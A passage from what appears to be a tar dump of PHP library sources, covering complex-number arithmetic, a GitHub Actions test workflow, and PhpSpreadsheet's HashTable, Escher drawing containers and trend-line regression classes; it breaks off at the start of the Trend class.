= array_shift($complexValues); $result = clone Complex::validateComplexArgument($base); foreach ($complexValues as $complex) { $complex = Complex::validateComplexArgument($complex); if ($result->isComplex() && $complex->isComplex() && $result->getSuffix() !== $complex->getSuffix()) { throw new Exception('Suffix Mismatch'); } if ($result->getReal() == 0.0 && $result->getImaginary() == 0.0) { throw new InvalidArgumentException('Division by zero'); } $delta1 = ($complex->getReal() * $result->getReal()) + ($complex->getImaginary() * $result->getImaginary()); $delta2 = ($complex->getImaginary() * $result->getReal()) - ($complex->getReal() * $result->getImaginary()); $delta3 = ($result->getReal() * $result->getReal()) + ($result->getImaginary() * $result->getImaginary()); $real = $delta1 / $delta3; $imaginary = $delta2 / $delta3; $result = new Complex( $real, $imaginary, ($imaginary == 0.0) ? null : max($result->getSuffix(), $complex->getSuffix()) ); } return $result; } /** * Multiplies two or more complex numbers * * @param array of string|integer|float|Complex $complexValues The numbers to multiply * @return Complex */ public static function multiply(...$complexValues): Complex { if (count($complexValues) < 2) { throw new \Exception('This function requires at least 2 arguments'); } $base = array_shift($complexValues); $result = clone Complex::validateComplexArgument($base); foreach ($complexValues as $complex) { $complex = Complex::validateComplexArgument($complex); if ($result->isComplex() && $complex->isComplex() && $result->getSuffix() !== $complex->getSuffix()) { throw new Exception('Suffix Mismatch'); } $real = ($result->getReal() * $complex->getReal()) - ($result->getImaginary() * $complex->getImaginary()); $imaginary = ($result->getReal() * $complex->getImaginary()) + ($result->getImaginary() * $complex->getReal()); $result = new Complex( $real, $imaginary, ($imaginary == 0.0) ? null : max($result->getSuffix(), $complex->getSuffix()) ); } return $result; } /** * Subtracts two or more complex numbers * * @param array of string|integer|float|Complex $complexValues The numbers to subtract * @return Complex */ public static function subtract(...$complexValues): Complex { if (count($complexValues) < 2) { throw new \Exception('This function requires at least 2 arguments'); } $base = array_shift($complexValues); $result = clone Complex::validateComplexArgument($base); foreach ($complexValues as $complex) { $complex = Complex::validateComplexArgument($complex); if ($result->isComplex() && $complex->isComplex() && $result->getSuffix() !== $complex->getSuffix()) { throw new Exception('Suffix Mismatch'); } $real = $result->getReal() - $complex->getReal(); $imaginary = $result->getImaginary() - $complex->getImaginary(); $result = new Complex( $real, $imaginary, ($imaginary == 0.0) ? null : max($result->getSuffix(), $complex->getSuffix()) ); } return $result; } } markbaker/complex/.github/workflows/main.yml000064400000011437151676714400015237 0ustar00name: main on: [ push, pull_request ] jobs: test: runs-on: ubuntu-latest strategy: matrix: experimental: - false php-version: - '7.2' - '7.3' - '7.4' - '8.0' - '8.1' - '8.2' include: - php-version: 'nightly' experimental: true name: PHP ${{ matrix.php-version }} steps: - name: Checkout uses: actions/checkout@v3 - name: Setup PHP, with composer and extensions uses: shivammathur/setup-php@v2 with: php-version: ${{ matrix.php-version }} coverage: none - name: Get composer cache directory id: composer-cache run: echo "::set-output name=dir::$(composer config cache-files-dir)" - name: Cache composer dependencies uses: actions/cache@v3 with: path: ${{ steps.composer-cache.outputs.dir }} key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }} restore-keys: ${{ runner.os }}-composer- - name: Delete composer lock file id: composer-lock if: ${{ matrix.php-version == '8.0' || matrix.php-version == '8.1' || matrix.php-version == '8.2' || matrix.php-version == 'nightly' }} run: | rm composer.lock echo "::set-output name=flags::--ignore-platform-reqs" - name: Install dependencies run: composer update --no-progress --prefer-dist --optimize-autoloader ${{ steps.composer-lock.outputs.flags }} - name: Setup problem matchers for PHP run: echo "::add-matcher::${{ runner.tool_cache }}/php.json" - name: Setup problem matchers for PHPUnit run: echo "::add-matcher::${{ runner.tool_cache }}/phpunit.json" - name: "Run PHPUnit tests (Experimental: ${{ matrix.experimental }})" env: FAILURE_ACTION: "${{ matrix.experimental == true }}" run: vendor/bin/phpunit --verbose || $FAILURE_ACTION phpcs: runs-on: ubuntu-latest steps: - name: Checkout uses: actions/checkout@v3 - name: Setup PHP, with composer and extensions uses: shivammathur/setup-php@v2 with: php-version: 7.4 coverage: none tools: cs2pr - name: Get composer cache directory id: composer-cache run: echo "::set-output name=dir::$(composer config cache-files-dir)" - name: Cache composer dependencies uses: actions/cache@v3 with: path: ${{ steps.composer-cache.outputs.dir }} key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }} restore-keys: ${{ runner.os }}-composer- - name: Install dependencies run: composer install --no-progress --prefer-dist --optimize-autoloader - name: Code style with PHP_CodeSniffer run: ./vendor/bin/phpcs -q --report=checkstyle classes/src/ | cs2pr versions: runs-on: ubuntu-latest steps: - name: Checkout uses: actions/checkout@v3 - name: Setup PHP, with composer and extensions uses: shivammathur/setup-php@v2 with: php-version: 7.4 coverage: none tools: cs2pr - name: Get composer cache directory id: composer-cache run: echo "::set-output name=dir::$(composer config cache-files-dir)" - name: Cache composer dependencies uses: actions/cache@v3 with: path: ${{ steps.composer-cache.outputs.dir }} key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }} restore-keys: ${{ runner.os }}-composer- - name: Install dependencies run: composer install --no-progress --prefer-dist --optimize-autoloader - name: Code Version Compatibility check with PHP_CodeSniffer run: ./vendor/bin/phpcs -q --report-width=200 --report=summary,full classes/src/ --standard=PHPCompatibility --runtime-set testVersion 7.2- coverage: runs-on: ubuntu-latest steps: - name: Checkout uses: actions/checkout@v3 - name: Setup PHP, with composer and extensions uses: shivammathur/setup-php@v2 with: php-version: 7.4 coverage: pcov - name: Get composer cache directory id: composer-cache run: echo "::set-output name=dir::$(composer config cache-files-dir)" - name: Cache composer dependencies uses: actions/cache@v3 with: path: ${{ steps.composer-cache.outputs.dir }} key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }} restore-keys: ${{ runner.os }}-composer- - name: Install dependencies run: composer install --no-progress --prefer-dist --optimize-autoloader - name: Test Coverage run: ./vendor/bin/phpunit --verbose --coverage-text phpoffice/phpspreadsheet/src/PhpSpreadsheet/HashTable.php000064400000007274151676714400017625 0ustar00<?php namespace PhpOffice\PhpSpreadsheet; /** * @template T of IComparable */ class HashTable { /** * HashTable elements. * * @var array<string, T> */ protected array $items = []; /** * HashTable key map. * * @var array<int, string> */ protected array $keyMap = []; /** * Create a new HashTable. * * @param T[] $source Optional source array to create HashTable from */ public function __construct(?array $source = []) { if ($source !== null) { // Create HashTable $this->addFromSource($source); } } /** * Add HashTable items from source. * * @param T[] $source Source array to create HashTable from */ public function addFromSource(?array $source = null): void { // Check if an array was passed if ($source === null) { return; } foreach ($source as $item) { $this->add($item); } } /** * Add HashTable item. * * @param T $source Item to add */ public function add(IComparable $source): void { $hash = $source->getHashCode(); if (!isset($this->items[$hash])) { $this->items[$hash] = $source; $this->keyMap[count($this->items) - 1] = $hash; } } /** * Remove HashTable item. * * @param T $source Item to remove */ public function remove(IComparable $source): void { $hash = $source->getHashCode(); if (isset($this->items[$hash])) { unset($this->items[$hash]); $deleteKey = -1; foreach ($this->keyMap as $key => $value) { if ($deleteKey >= 0) { $this->keyMap[$key - 1] = $value; } if ($value == $hash) { $deleteKey = $key; } } unset($this->keyMap[count($this->keyMap) - 1]); } } /** * Clear HashTable. */ public function clear(): void { $this->items = []; $this->keyMap = []; } /** * Count. */ public function count(): int { return count($this->items); } /** * Get index for hash code. */ public function getIndexForHashCode(string $hashCode): false|int { return array_search($hashCode, $this->keyMap, true); } /** * Get by index. * * @return null|T */ public function getByIndex(int $index): ?IComparable { if (isset($this->keyMap[$index])) { return $this->getByHashCode($this->keyMap[$index]); } return null; } /** * Get by hashcode. * * @return null|T */ public function getByHashCode(string $hashCode): ?IComparable { if (isset($this->items[$hashCode])) { return $this->items[$hashCode]; } return null; } /** * HashTable to array. * * @return T[] */ public function toArray(): array { return $this->items; } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { $vars = get_object_vars($this); foreach ($vars as $key => $value) { // each member of this class is an array if (is_array($value)) { $array1 = $value; foreach ($array1 as $key1 => $value1) { if (is_object($value1)) { $array1[$key1] = clone $value1; } } $this->$key = $array1; } } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Shared/Escher/DggContainer/BstoreContainer/BSE/Blip.php000064400000001476151676714400027353 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Shared\Escher\DggContainer\BstoreContainer\BSE; use PhpOffice\PhpSpreadsheet\Shared\Escher\DggContainer\BstoreContainer\BSE; class Blip { /** * The parent BSE. */ private BSE $parent; /** * Raw image data. */ private string $data; /** * Get the raw image data. */ public function getData(): string { return $this->data; } /** * Set the raw image data. */ public function setData(string $data): void { $this->data = $data; } /** * Set parent BSE. */ public function setParent(BSE $parent): void { $this->parent = $parent; } /** * Get parent BSE. */ public function getParent(): BSE { return $this->parent; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Shared/Escher/DggContainer/BstoreContainer/BSE.php000064400000003153151676714400026457 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Shared\Escher\DggContainer\BstoreContainer; use PhpOffice\PhpSpreadsheet\Shared\Escher\DggContainer\BstoreContainer; class BSE { const BLIPTYPE_ERROR = 0x00; const BLIPTYPE_UNKNOWN = 0x01; const BLIPTYPE_EMF = 0x02; const BLIPTYPE_WMF = 0x03; const BLIPTYPE_PICT = 0x04; const BLIPTYPE_JPEG = 0x05; const BLIPTYPE_PNG = 0x06; const BLIPTYPE_DIB = 0x07; const BLIPTYPE_TIFF = 0x11; const BLIPTYPE_CMYKJPEG = 0x12; /** * The parent BLIP Store Entry Container. * Property is currently unused. */ private BstoreContainer $parent; /** * The BLIP (Big Large Image or Picture). * * @var ?BSE\Blip */ private ?BSE\Blip $blip = null; /** * The BLIP type. */ private int $blipType; /** * Set parent BLIP Store Entry Container. */ public function setParent(BstoreContainer $parent): void { $this->parent = $parent; } public function getParent(): BstoreContainer { return $this->parent; } /** * Get the BLIP. */ public function getBlip(): ?BSE\Blip { return $this->blip; } /** * Set the BLIP. */ public function setBlip(BSE\Blip $blip): void { $this->blip = $blip; $blip->setParent($this); } /** * Get the BLIP type. */ public function getBlipType(): int { return $this->blipType; } /** * Set the BLIP type. */ public function setBlipType(int $blipType): void { $this->blipType = $blipType; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Shared/Escher/DggContainer/BstoreContainer.php000064400000001241151676714400026042 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Shared\Escher\DggContainer; class BstoreContainer { /** * BLIP Store Entries. Each of them holds one BLIP (Big Large Image or Picture). * * @var BstoreContainer\BSE[] */ private array $BSECollection = []; /** * Add a BLIP Store Entry. */ public function addBSE(BstoreContainer\BSE $BSE): void { $this->BSECollection[] = $BSE; $BSE->setParent($this); } /** * Get the collection of BLIP Store Entries. * * @return BstoreContainer\BSE[] */ public function getBSECollection(): array { return $this->BSECollection; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Shared/Escher/DgContainer.php000064400000002410151676714400022571 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Shared\Escher; use PhpOffice\PhpSpreadsheet\Exception as SpreadsheetException; use PhpOffice\PhpSpreadsheet\Shared\Escher\DgContainer\SpgrContainer; class DgContainer { /** * Drawing index, 1-based. */ private ?int $dgId = null; /** * Last shape index in this drawing. */ private ?int $lastSpId = null; private ?SpgrContainer $spgrContainer = null; public function getDgId(): ?int { return $this->dgId; } public function setDgId(int $value): void { $this->dgId = $value; } public function getLastSpId(): ?int { return $this->lastSpId; } public function setLastSpId(int $value): void { $this->lastSpId = $value; } public function getSpgrContainer(): ?SpgrContainer { return $this->spgrContainer; } public function getSpgrContainerOrThrow(): SpgrContainer { if ($this->spgrContainer !== null) { return $this->spgrContainer; } throw new SpreadsheetException('spgrContainer is unexpectedly null'); } public function setSpgrContainer(SpgrContainer $spgrContainer): SpgrContainer { return $this->spgrContainer = $spgrContainer; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Shared/Escher/DgContainer/SpgrContainer.php000064400000002674151676714400025363 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Shared\Escher\DgContainer; class SpgrContainer { /** * Parent Shape Group Container. */ private ?self $parent = null; /** * Shape Container collection. */ private array $children = []; /** * Set parent Shape Group Container. */ public function setParent(?self $parent): void { $this->parent = $parent; } /** * Get the parent Shape Group Container if any. */ public function getParent(): ?self { return $this->parent; } /** * Add a child. This will be either spgrContainer or spContainer. */ public function addChild(mixed $child): void { $this->children[] = $child; $child->setParent($this); } /** * Get collection of Shape Containers. */ public function getChildren(): array { return $this->children; } /** * Recursively get all spContainers within this spgrContainer. * * @return SpgrContainer\SpContainer[] */ public function getAllSpContainers(): array { $allSpContainers = []; foreach ($this->children as $child) { if ($child instanceof self) { $allSpContainers = array_merge($allSpContainers, $child->getAllSpContainers()); } else { $allSpContainers[] = $child; } } return $allSpContainers; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Shared/Escher/DgContainer/SpgrContainer/SpContainer.php000064400000015167151676714400027611 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Shared\Escher\DgContainer\SpgrContainer; use PhpOffice\PhpSpreadsheet\Shared\Escher\DgContainer\SpgrContainer; class SpContainer { /** * Parent Shape Group Container. */ private SpgrContainer $parent; /** * Is this a group shape? */ private bool $spgr = false; /** * Shape type. */ private int $spType; /** * Shape flag. */ private int $spFlag; /** * Shape index (usually group shape has index 0, and the rest: 1,2,3...). */ private int $spId; /** * Array of options. */ private array $OPT = []; /** * Cell coordinates of upper-left corner of shape, e.g. 'A1'. */ private string $startCoordinates = ''; /** * Horizontal offset of upper-left corner of shape measured in 1/1024 of column width. */ private int|float $startOffsetX; /** * Vertical offset of upper-left corner of shape measured in 1/256 of row height. */ private int|float $startOffsetY; /** * Cell coordinates of bottom-right corner of shape, e.g. 'B2'. */ private string $endCoordinates; /** * Horizontal offset of bottom-right corner of shape measured in 1/1024 of column width. */ private int|float $endOffsetX; /** * Vertical offset of bottom-right corner of shape measured in 1/256 of row height. */ private int|float $endOffsetY; /** * Set parent Shape Group Container. */ public function setParent(SpgrContainer $parent): void { $this->parent = $parent; } /** * Get the parent Shape Group Container. */ public function getParent(): SpgrContainer { return $this->parent; } /** * Set whether this is a group shape. */ public function setSpgr(bool $value): void { $this->spgr = $value; } /** * Get whether this is a group shape. */ public function getSpgr(): bool { return $this->spgr; } /** * Set the shape type. */ public function setSpType(int $value): void { $this->spType = $value; } /** * Get the shape type. */ public function getSpType(): int { return $this->spType; } /** * Set the shape flag. */ public function setSpFlag(int $value): void { $this->spFlag = $value; } /** * Get the shape flag. */ public function getSpFlag(): int { return $this->spFlag; } /** * Set the shape index. */ public function setSpId(int $value): void { $this->spId = $value; } /** * Get the shape index. */ public function getSpId(): int { return $this->spId; } /** * Set an option for the Shape Group Container. * * @param int $property The number specifies the option */ public function setOPT(int $property, mixed $value): void { $this->OPT[$property] = $value; } /** * Get an option for the Shape Group Container. * * @param int $property The number specifies the option */ public function getOPT(int $property): mixed { if (isset($this->OPT[$property])) { return $this->OPT[$property]; } return null; } /** * Get the collection of options. */ public function getOPTCollection(): array { return $this->OPT; } /** * Set cell coordinates of upper-left corner of shape. * * @param string $value eg: 'A1' */ public function setStartCoordinates(string $value): void { $this->startCoordinates = $value; } /** * Get cell coordinates of upper-left corner of shape. */ public function getStartCoordinates(): string { return $this->startCoordinates; } /** * Set offset in x-direction of upper-left corner of shape measured in 1/1024 of column width. */ public function setStartOffsetX(int|float $startOffsetX): void { $this->startOffsetX = $startOffsetX; } /** * Get offset in x-direction of upper-left corner of shape measured in 1/1024 of column width. */ public function getStartOffsetX(): int|float { return $this->startOffsetX; } /** * Set offset in y-direction of upper-left corner of shape measured in 1/256 of row height. */ public function setStartOffsetY(int|float $startOffsetY): void { $this->startOffsetY = $startOffsetY; } /** * Get offset in y-direction of upper-left corner of shape measured in 1/256 of row height. */ public function getStartOffsetY(): int|float { return $this->startOffsetY; } /** * Set cell coordinates of bottom-right corner of shape. * * @param string $value eg: 'A1' */ public function setEndCoordinates(string $value): void { $this->endCoordinates = $value; } /** * Get cell coordinates of bottom-right corner of shape. */ public function getEndCoordinates(): string { return $this->endCoordinates; } /** * Set offset in x-direction of bottom-right corner of shape measured in 1/1024 of column width. */ public function setEndOffsetX(int|float $endOffsetX): void { $this->endOffsetX = $endOffsetX; } /** * Get offset in x-direction of bottom-right corner of shape measured in 1/1024 of column width. */ public function getEndOffsetX(): int|float { return $this->endOffsetX; } /** * Set offset in y-direction of bottom-right corner of shape measured in 1/256 of row height. */ public function setEndOffsetY(int|float $endOffsetY): void { $this->endOffsetY = $endOffsetY; } /** * Get offset in y-direction of bottom-right corner of shape measured in 1/256 of row height. */ public function getEndOffsetY(): int|float { return $this->endOffsetY; } /** * Get the nesting level of this spContainer. This is the number of spgrContainers between this spContainer and * the dgContainer. A value of 1 = immediately within first spgrContainer * Higher nesting level occurs if and only if spContainer is part of a shape group. * * @return int Nesting level */ public function getNestingLevel(): int { $nestingLevel = 0; $parent = $this->getParent(); while ($parent instanceof SpgrContainer) { ++$nestingLevel; $parent = $parent->getParent(); } return $nestingLevel; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Shared/Escher/DggContainer.php000064400000005711151676714400022747 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Shared\Escher; class DggContainer { /** * Maximum shape index of all shapes in all drawings increased by one. */ private int $spIdMax; /** * Total number of drawings saved. */ private int $cDgSaved; /** * Total number of shapes saved (including group shapes). */ private int $cSpSaved; /** * BLIP Store Container. * * @var ?DggContainer\BstoreContainer */ private ?DggContainer\BstoreContainer $bstoreContainer = null; /** * Array of options for the drawing group. */ private array $OPT = []; /** * Array of identifier clusters containg information about the maximum shape identifiers. */ private array $IDCLs = []; /** * Get maximum shape index of all shapes in all drawings (plus one). */ public function getSpIdMax(): int { return $this->spIdMax; } /** * Set maximum shape index of all shapes in all drawings (plus one). */ public function setSpIdMax(int $value): void { $this->spIdMax = $value; } /** * Get total number of drawings saved. */ public function getCDgSaved(): int { return $this->cDgSaved; } /** * Set total number of drawings saved. */ public function setCDgSaved(int $value): void { $this->cDgSaved = $value; } /** * Get total number of shapes saved (including group shapes). */ public function getCSpSaved(): int { return $this->cSpSaved; } /** * Set total number of shapes saved (including group shapes). */ public function setCSpSaved(int $value): void { $this->cSpSaved = $value; } /** * Get BLIP Store Container. */ public function getBstoreContainer(): ?DggContainer\BstoreContainer { return $this->bstoreContainer; } /** * Set BLIP Store Container. */ public function setBstoreContainer(DggContainer\BstoreContainer $bstoreContainer): void { $this->bstoreContainer = $bstoreContainer; } /** * Set an option for the drawing group. * * @param int $property The number specifies the option */ public function setOPT(int $property, mixed $value): void { $this->OPT[$property] = $value; } /** * Get an option for the drawing group. * * @param int $property The number specifies the option */ public function getOPT(int $property): mixed { if (isset($this->OPT[$property])) { return $this->OPT[$property]; } return null; } /** * Get identifier clusters. */ public function getIDCLs(): array { return $this->IDCLs; } /** * Set identifier clusters. [<drawingId> => <max shape id>, ...]. */ public function setIDCLs(array $IDCLs): void { $this->IDCLs = $IDCLs; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Shared/Trend/BestFit.php000064400000026167151676714400021616 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Shared\Trend; abstract class BestFit { /** * Indicator flag for a calculation error. */ protected bool $error = false; /** * Algorithm type to use for best-fit. */ protected string $bestFitType = 'undetermined'; /** * Number of entries in the sets of x- and y-value arrays. */ protected int $valueCount; /** * X-value dataseries of values. * * @var float[] */ protected array $xValues = []; /** * Y-value dataseries of values. * * @var float[] */ protected array $yValues = []; /** * Flag indicating whether values should be adjusted to Y=0. */ protected bool $adjustToZero = false; /** * Y-value series of best-fit values. * * @var float[] */ protected array $yBestFitValues = []; protected float $goodnessOfFit = 1; protected float $stdevOfResiduals = 0; protected float $covariance = 0; protected float $correlation = 0; protected float $SSRegression = 0; protected float $SSResiduals = 0; protected float $DFResiduals = 0; protected float $f = 0; protected float $slope = 0; protected float $slopeSE = 0; protected float $intersect = 0; protected float $intersectSE = 0; protected float $xOffset = 0; protected float $yOffset = 0; public function getError(): bool { return $this->error; } public function getBestFitType(): string { return $this->bestFitType; } /** * Return the Y-Value for a specified value of X. * * @param float $xValue X-Value * * @return float Y-Value */ abstract public function getValueOfYForX(float $xValue): float; /** * Return the X-Value for a specified value of Y. * * @param float $yValue Y-Value * * @return float X-Value */ abstract public function getValueOfXForY(float $yValue): float; /** * Return the original set of X-Values. * * @return float[] X-Values */ public function getXValues(): array { return $this->xValues; } /** * Return the Equation of the best-fit line. * * @param int $dp Number of places of decimal precision to display */ abstract public function getEquation(int $dp = 0): string; /** * Return the Slope of the line. * * @param int $dp Number of places of decimal precision to display */ public function getSlope(int $dp = 0): float { if ($dp != 0) { return round($this->slope, $dp); } return $this->slope; } /** * Return the standard error of the Slope. * * @param int $dp Number of places of decimal precision to display */ public function getSlopeSE(int $dp = 0): float { if ($dp != 0) { return round($this->slopeSE, $dp); } return $this->slopeSE; } /** * Return the Value of X where it intersects Y = 0. * * @param int $dp Number of places of decimal precision to display */ public function getIntersect(int $dp = 0): float { if ($dp != 0) { return round($this->intersect, $dp); } return $this->intersect; } /** * Return the standard error of the Intersect. * * @param int $dp Number of places of decimal precision to display */ public function getIntersectSE(int $dp = 0): float { if ($dp != 0) { return round($this->intersectSE, $dp); } return $this->intersectSE; } /** * Return the goodness of fit for this regression. * * @param int $dp Number of places of decimal precision to return */ public function getGoodnessOfFit(int $dp = 0): float { if ($dp != 0) { return round($this->goodnessOfFit, $dp); } return $this->goodnessOfFit; } /** * Return the goodness of fit for this regression. * * @param int $dp Number of places of decimal precision to return */ public function getGoodnessOfFitPercent(int $dp = 0): float { if ($dp != 0) { return round($this->goodnessOfFit * 100, $dp); } return $this->goodnessOfFit * 100; } /** * Return the standard deviation of the residuals for this regression. * * @param int $dp Number of places of decimal precision to return */ public function getStdevOfResiduals(int $dp = 0): float { if ($dp != 0) { return round($this->stdevOfResiduals, $dp); } return $this->stdevOfResiduals; } /** * @param int $dp Number of places of decimal precision to return */ public function getSSRegression(int $dp = 0): float { if ($dp != 0) { return round($this->SSRegression, $dp); } return $this->SSRegression; } /** * @param int $dp Number of places of decimal precision to return */ public function getSSResiduals(int $dp = 0): float { if ($dp != 0) { return round($this->SSResiduals, $dp); } return $this->SSResiduals; } /** * @param int $dp Number of places of decimal precision to return */ public function getDFResiduals(int $dp = 0): float { if ($dp != 0) { return round($this->DFResiduals, $dp); } return $this->DFResiduals; } /** * @param int $dp Number of places of decimal precision to return */ public function getF(int $dp = 0): float { if ($dp != 0) { return round($this->f, $dp); } return $this->f; } /** * @param int $dp Number of places of decimal precision to return */ public function getCovariance(int $dp = 0): float { if ($dp != 0) { return round($this->covariance, $dp); } return $this->covariance; } /** * @param int $dp Number of places of decimal precision to return */ public function getCorrelation(int $dp = 0): float { if ($dp != 0) { return round($this->correlation, $dp); } return $this->correlation; } /** * @return float[] */ public function getYBestFitValues(): array { return $this->yBestFitValues; } protected function calculateGoodnessOfFit(float $sumX, float $sumY, float $sumX2, float $sumY2, float $sumXY, float $meanX, float $meanY, bool|int $const): void { $SSres = $SScov = $SStot = $SSsex = 0.0; foreach ($this->xValues as $xKey => $xValue) { $bestFitY = $this->yBestFitValues[$xKey] = $this->getValueOfYForX($xValue); $SSres += ($this->yValues[$xKey] - $bestFitY) * ($this->yValues[$xKey] - $bestFitY); if ($const === true) { $SStot += ($this->yValues[$xKey] - $meanY) * ($this->yValues[$xKey] - $meanY); } else { $SStot += $this->yValues[$xKey] * $this->yValues[$xKey]; } $SScov += ($this->xValues[$xKey] - $meanX) * ($this->yValues[$xKey] - $meanY); if ($const === true) { $SSsex += ($this->xValues[$xKey] - $meanX) * ($this->xValues[$xKey] - $meanX); } else { $SSsex += $this->xValues[$xKey] * $this->xValues[$xKey]; } } $this->SSResiduals = $SSres; $this->DFResiduals = $this->valueCount - 1 - ($const === true ? 1 : 0); if ($this->DFResiduals == 0.0) { $this->stdevOfResiduals = 0.0; } else { $this->stdevOfResiduals = sqrt($SSres / $this->DFResiduals); } if ($SStot == 0.0 || $SSres == $SStot) { $this->goodnessOfFit = 1; } else { $this->goodnessOfFit = 1 - ($SSres / $SStot); } $this->SSRegression = $this->goodnessOfFit * $SStot; $this->covariance = $SScov / $this->valueCount; $this->correlation = ($this->valueCount * $sumXY - $sumX * $sumY) / sqrt(($this->valueCount * $sumX2 - $sumX ** 2) * ($this->valueCount * $sumY2 - $sumY ** 2)); $this->slopeSE = $this->stdevOfResiduals / sqrt($SSsex); $this->intersectSE = $this->stdevOfResiduals * sqrt(1 / ($this->valueCount - ($sumX * $sumX) / $sumX2)); if ($this->SSResiduals != 0.0) { if ($this->DFResiduals == 0.0) { $this->f = 0.0; } else { $this->f = $this->SSRegression / ($this->SSResiduals / $this->DFResiduals); } } else { if ($this->DFResiduals == 0.0) { $this->f = 0.0; } else { $this->f = $this->SSRegression / $this->DFResiduals; } } } /** @return float|int */ private function sumSquares(array $values) { return array_sum( array_map( fn ($value): float|int => $value ** 2, $values ) ); } /** * @param float[] $yValues * @param float[] $xValues */ protected function leastSquareFit(array $yValues, array $xValues, bool $const): void { // calculate sums $sumValuesX = array_sum($xValues); $sumValuesY = array_sum($yValues); $meanValueX = $sumValuesX / $this->valueCount; $meanValueY = $sumValuesY / $this->valueCount; $sumSquaresX = $this->sumSquares($xValues); $sumSquaresY = $this->sumSquares($yValues); $mBase = $mDivisor = 0.0; $xy_sum = 0.0; for ($i = 0; $i < $this->valueCount; ++$i) { $xy_sum += $xValues[$i] * $yValues[$i]; if ($const === true) { $mBase += ($xValues[$i] - $meanValueX) * ($yValues[$i] - $meanValueY); $mDivisor += ($xValues[$i] - $meanValueX) * ($xValues[$i] - $meanValueX); } else { $mBase += $xValues[$i] * $yValues[$i]; $mDivisor += $xValues[$i] * $xValues[$i]; } } // calculate slope $this->slope = $mBase / $mDivisor; // calculate intersect $this->intersect = ($const === true) ? $meanValueY - ($this->slope * $meanValueX) : 0.0; $this->calculateGoodnessOfFit($sumValuesX, $sumValuesY, $sumSquaresX, $sumSquaresY, $xy_sum, $meanValueX, $meanValueY, $const); } /** * Define the regression. * * @param float[] $yValues The set of Y-values for this regression * @param float[] $xValues The set of X-values for this regression */ public function __construct(array $yValues, array $xValues = []) { // Calculate number of points $yValueCount = count($yValues); $xValueCount = count($xValues); // Define X Values if necessary if ($xValueCount === 0) { $xValues = range(1, $yValueCount); } elseif ($yValueCount !== $xValueCount) { // Ensure both arrays of points are the same size $this->error = true; } $this->valueCount = $yValueCount; $this->xValues = $xValues; $this->yValues = $yValues; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Shared/Trend/LogarithmicBestFit.php000064400000004443151676714400023772 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Shared\Trend; class LogarithmicBestFit extends BestFit { /** * Algorithm type to use for best-fit * (Name of this Trend class). */ protected string $bestFitType = 'logarithmic'; /** * Return the Y-Value for a specified value of X. * * @param float $xValue X-Value * * @return float Y-Value */ public function getValueOfYForX(float $xValue): float { return $this->getIntersect() + $this->getSlope() * log($xValue - $this->xOffset); } /** * Return the X-Value for a specified value of Y. * * @param float $yValue Y-Value * * @return float X-Value */ public function getValueOfXForY(float $yValue): float { return exp(($yValue - $this->getIntersect()) / $this->getSlope()); } /** * Return the Equation of the best-fit line. * * @param int $dp Number of places of decimal precision to display */ public function getEquation(int $dp = 0): string { $slope = $this->getSlope($dp); $intersect = $this->getIntersect($dp); return 'Y = ' . $slope . ' * log(' . $intersect . ' * X)'; } /** * Execute the regression and calculate the goodness of fit for a set of X and Y data values. * * @param float[] $yValues The set of Y-values for this regression * @param float[] $xValues The set of X-values for this regression */ private function logarithmicRegression(array $yValues, array $xValues, bool $const): void { $adjustedYValues = array_map( fn ($value): float => ($value < 0.0) ? 0 - log(abs($value)) : log($value), $yValues ); $this->leastSquareFit($adjustedYValues, $xValues, $const); } /** * Define the regression and calculate the goodness of fit for a set of X and Y data values. * * @param float[] $yValues The set of Y-values for this regression * @param float[] $xValues The set of X-values for this regression */ public function __construct(array $yValues, array $xValues = [], bool $const = true) { parent::__construct($yValues, $xValues); if (!$this->error) { $this->logarithmicRegression($yValues, $xValues, (bool) $const); } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Shared/Trend/LinearBestFit.php000064400000004111151676714400022732 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Shared\Trend; class LinearBestFit extends BestFit { /** * Algorithm type to use for best-fit * (Name of this Trend class). */ protected string $bestFitType = 'linear'; /** * Return the Y-Value for a specified value of X. * * @param float $xValue X-Value * * @return float Y-Value */ public function getValueOfYForX(float $xValue): float { return $this->getIntersect() + $this->getSlope() * $xValue; } /** * Return the X-Value for a specified value of Y. * * @param float $yValue Y-Value * * @return float X-Value */ public function getValueOfXForY(float $yValue): float { return ($yValue - $this->getIntersect()) / $this->getSlope(); } /** * Return the Equation of the best-fit line. * * @param int $dp Number of places of decimal precision to display */ public function getEquation(int $dp = 0): string { $slope = $this->getSlope($dp); $intersect = $this->getIntersect($dp); return 'Y = ' . $intersect . ' + ' . $slope . ' * X'; } /** * Execute the regression and calculate the goodness of fit for a set of X and Y data values. * * @param float[] $yValues The set of Y-values for this regression * @param float[] $xValues The set of X-values for this regression */ private function linearRegression(array $yValues, array $xValues, bool $const): void { $this->leastSquareFit($yValues, $xValues, $const); } /** * Define the regression and calculate the goodness of fit for a set of X and Y data values. * * @param float[] $yValues The set of Y-values for this regression * @param float[] $xValues The set of X-values for this regression */ public function __construct(array $yValues, array $xValues = [], bool $const = true) { parent::__construct($yValues, $xValues); if (!$this->error) { $this->linearRegression($yValues, $xValues, (bool) $const); } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Shared/Trend/Trend.php000064400000011445151676714400021323 0ustar00<?php namespace 